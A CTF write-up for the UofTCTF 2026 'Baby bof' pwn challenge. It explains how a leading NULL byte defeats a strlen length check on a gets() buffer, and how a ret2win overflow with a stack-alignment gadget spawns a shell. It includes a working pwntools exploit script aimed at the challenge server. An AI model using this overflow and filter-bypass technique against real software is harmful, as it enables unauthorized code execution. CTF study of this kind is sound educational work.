Baby bof
Baby bof
Platform: uoftctf2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: ret2win, stack_alignment, strlen_null_bypass
Summary
Baby bof — UofTCTF 2026
Description
People said gets is not safe, but I think I figured out how to make it safe.
Analysis
Binary Protections
ELF 64-bit LSB executable, x86-64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Key points:
- No PIE — function addresses are static
- No canary — no stack overflow protection
- NX enabled — cannot execute shellcode on the stack
Vulnerability
The program uses gets() to read input into a 16-byte buffer on the stack. As a "protection", it checks strlen(buf) > 14 — if the length is greater than 14, the program exits with the message "Thats suspicious".
c read-only • copy allowedchar buf[16]; gets(buf); if (strlen(buf) > 14) { puts("Thats suspicious"); exit(1); }
Key Insight
strlen() stops at the first NULL byte (\x00)!
If we start the payload with a NULL byte:
strlen()returns 0 (check passed)gets()continues reading data after the NULL byte- Buffer overflow is still possible
Target Function
The binary contains a win function at address 0x4011f6:
c read-only • copy allowedvoid win() { system("/bin/sh"); }
Stack Layout
+------------------+
| buf[16] | <- rbp-0x10
+------------------+
| saved RBP (8) | <- rbp
+------------------+
| return addr (8) | <- rbp+0x8
+------------------+
Offset to return address: 16 (buffer) + 8 (saved rbp) = 24 bytes
Stack Alignment
On x86-64, the stack must be 16-byte aligned before calling system(). We use a ret gadget (0x40101a) for alignment.
Solution
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' # Addresses from the binary win_addr = 0x4011f6 ret_gadget = 0x40101a # for stack alignment # Offset to return address: 16 (buffer) + 8 (saved rbp) = 24 offset = 24 # Payload structure: # \x00 - strlen() returns 0, bypassing the check # 'A' * 23 - padding to return address # ret_gadget - stack alignment # win_addr - address of win() function payload = b'\x00' + b'A' * (offset - 1) + p64(ret_gadget) + p64(win_addr) r = remote('34.48.173.44', 5000) r.recvuntil(b'What is your name:') r.sendline(payload) r.sendline(b'cat flag.txt') print(r.recvall(timeout=5))
Useful Commands
bash read-only • copy allowed# Find win function objdump -d chall | grep win # Find ret gadget ROPgadget --binary chall | grep ": ret$" # Check protections checksec chall
Related Techniques
- ret2win — overwriting return address with the win function address
- Stack alignment — using ret gadget for alignment before system()
- NULL byte bypass — bypassing strlen via NULL at the start of the string